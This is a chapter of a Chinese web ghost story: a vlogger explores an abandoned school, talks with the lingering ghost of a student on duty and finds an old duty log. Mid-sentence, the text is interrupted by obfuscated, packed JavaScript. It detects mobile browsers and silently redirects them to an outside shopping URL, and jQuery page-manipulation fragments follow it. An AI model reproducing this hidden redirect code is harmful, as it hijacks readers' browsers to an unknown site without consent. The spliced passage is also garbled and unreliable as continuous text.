第二天早上六点，江寻就醒了。旅馆隔壁的鸡叫的。他在床上翻了个身，盯着天花板上那道从墙角一直裂到灯座旁边的缝。昨晚没睡好，老是半梦半醒，梦里全是走廊尽头的脚步声。
他在心里暗骂自己胆子忒小，没准昨天就是幻听了，竟然弄得他心神不宁。本来计划昨天拍完就走的。回县城的班车每天早晚各一班，早上的已经赶不上了。但就算赶得上，他觉得自己也不会走。
他在镇上的早点铺买了一碗拌面，坐在塑料凳上吃完。掏出手机看了看昨天的直播回放数据——三万多播放，弹幕一千多条，比他过去三个月的平均数据高出一截。评论区最热的一条是：“寻哥昨天到底听到了什么？为什么突然关直播？”下面一堆猜测，他刷着笑起来，不得不说网友们想象力还是太丰富。
吃完面，他从背包里摸出一台老式录音笔。二手的，能用磁带的那种。他在网上淘的，本来是打算当拍摄道具，一直没用过。昨天那件事之后，他忽然觉得这东西可能用得上——手机录不下来的声音，磁带也许能。
走到学校的时候快八点了。阳光还不太晒，梧桐树叶被照成半透明的绿色。他侧身钻过那截锈栏杆，操场上空荡荡的，旗杆的影子被早上的太阳拉得老长。
他没开直播。把手机静音揣在口袋里，稳定器留在背包里，只拿着那台录音笔上了台阶。走廊很长。早上的光从东边窗户斜打进来，把地面切成明暗相间的长条。他走到昨天脚步停下的那个位置，站住了。
走廊上什么也没有。灰尘在光柱里慢慢飘。
他按下录音键。
“我来了。”他的声音在走廊里弹了几下，被安静吞了。
安静了很久。久到他开始觉得自己有点蠢。
“你今天没有拿那个东西。”那声音听起来很年轻，甚至有些好奇的意味，像是个学生。
声音忽然出现。江寻心跳漏了一拍，但这次他没有后退。他稳住呼吸，说：“没拿。”
“为什么？”
“想你可能不太喜欢它。”
“我没有不喜欢。”那个声音顿了一下，语气里有一点不确定，像是不太知道怎么表达，“我只是没见过。”
江寻咽了咽口水，把录音笔举在身前。“你昨天问我的问题，我还没回答完。”
“什么问题？”
“你问我拿的是什么。我说是能留住画面的机器。但其实它留不住。它只是把光变成数据。真正能留住的——”他停了一下，“是看的人。”
走廊上没有声音。
“那你呢？”江寻问，余光扫向走廊尽头那片明明暗暗的光影，“你拿的是什么？”
“什么？”
“昨天你来的时候，手里拿着一本书。我看不太清。”
一阵安静。然后那个声音说：“物理。高二的。”
“是你的吗？”
“不是。是最后一节课有人落在教室里的。我捡到了，想还给他。然后他就走了，再也没有回来。”
江寻握着录音笔的手指微微收紧了。嘴里有点发干。“所以你一直在这里等？”
“也不是一直等。”那个声音说，“平时会擦黑板、摆桌椅、开窗通风。值日生要做的事。”
“你是值日生。”
“嗯。这周的值日生。”那个声音停了一下，“只是这周有点长。”
江寻的喉咙发紧。他沉默了几秒，问：“你叫什么名字？”
“沈渡。”
“沈渡。”他把这两个字在嘴里含了一下，“我叫江寻。”
“江寻。”沈渡也重复了一遍，语气认真，像在记一个很重要的词。
走廊又安静了。但这次的安静和刚才不一样。不是那种空荡荡的、让人心慌的安静，而是一种两个人一起沉默的安静。
江寻在走廊边上坐了下来，背靠着墙，腿伸到阳光里。他把录音笔放在膝盖上。
“你刚才说你是值日生。值日生一般负责什么？”
“早上开窗通风。下课擦黑板。放学摆桌椅。检查窗户有没有关好。锁门。”
“你会锁门吗？”
“会。但锁了也没用。没有人来。”
江寻沉默了一会儿。“那你为什么还锁？”
沈渡没有立刻回答。过了几秒，他说：“因为值日本上要写。”
“值日本？”
“每个班都有一本。值日生做完事要在上面打勾。最后一个走的要写‘门窗已锁，一切正常’。”
江寻站了起来。“还在吗？”
“在。讲台抽屉里。”
他走进最近的那间教室。阳光从窗户照进来，在讲台上投下一片亮光。他拉开抽屉——几支粉笔，一个黑板擦，一本薄薄的练习本。牛皮纸封面，印着红色大字：“值日本”。下面一行小字：“班级：高二（三）班。学期：1998—1999学年度第二学期。”
他翻开。第一页，1999年3月1日，周一。值日生的名字用蓝色钢笔写着，字迹工整。每天的内容差不多——擦黑板，扫地，摆桌椅，关窗。一页一页翻过去，日期从三月到四月，从四月到五月，从五月到六月。
翻到最后几页的时候，他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690622|207896||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的手停了。
1999年6月7日，周一。值日生：沈渡。备注：一切正常。
6月8日，周二。沈渡。
6月9日，周三。沈渡。
6月10日，周四。沈渡。
6月11日，周五。沈渡。
6月12日，周六。沈渡。
然后是一页空白。再翻，下一页还是空白。整本值日本，从6月12日之后，再没有一个字。
江寻盯着那几页空白的纸看了很久。6月12日是周六。6月13日是周日。然后——就没有然后了。
他合上了那本旧值日本，又轻轻放回抽屉里。
走廊上传来沈渡的声音，比刚才轻了一些：“翻完了？”
“翻完了。”江寻说，“你值了一个星期的日。”
“不止。”沈渡说，“不过值日本只有那一本。写完了，就没有新的了。”他说的很平静，可江寻没来由地生出寒意。
江寻靠在讲台上，手指无意识地在桌面画圈。
“沈渡。”
“嗯。”
“你捡到那本书的时候，是几号？”
“6月11日。最后一节课。下午。”
“后来呢？”
“后来。”沈渡的声音很平，“学校说要关。让学生回家。我就把书带走了。想着以后能还给他。”
江寻没有再问。他站在讲台边上，阳光落在他手臂上。
“你那本书，”他说，“能保管好吗？”
“能。”
“我明天再来。”
他走出教室，走到走廊中间的时候，左边第二扇窗户——那扇一直关着的——忽然自己打开了。风灌进来，把窗台上的灰吹散了。
江寻站在走廊上，看着那扇窗户。然后他朝走廊尽头的方向举了举手里的录音笔。
“明天见，沈渡。”
没有人回答。但他走到操场上的时候，四楼靠左第三扇窗户亮了一下。不是灯，是阳光刚好照在那扇玻璃上，积了二十六年灰尘的玻璃透出了一点光。
回旅馆的路上，江寻把录音笔拿出来，按下播放键。
沙沙沙。他的声音：“我来了。”沉默。然后——“你今天没有拿那个东西。”
沈渡的声音。干净的，凉丝丝的，从磁带的沙沙声里浮出来。
江寻把录音笔握在手心里，掌心的温度把金属外壳捂热了。他听了一遍，又一遍。
他做了三年探险博主，去过几十个废弃的地方。从来没有在任何一个地方，待过第二天。
这是第一次。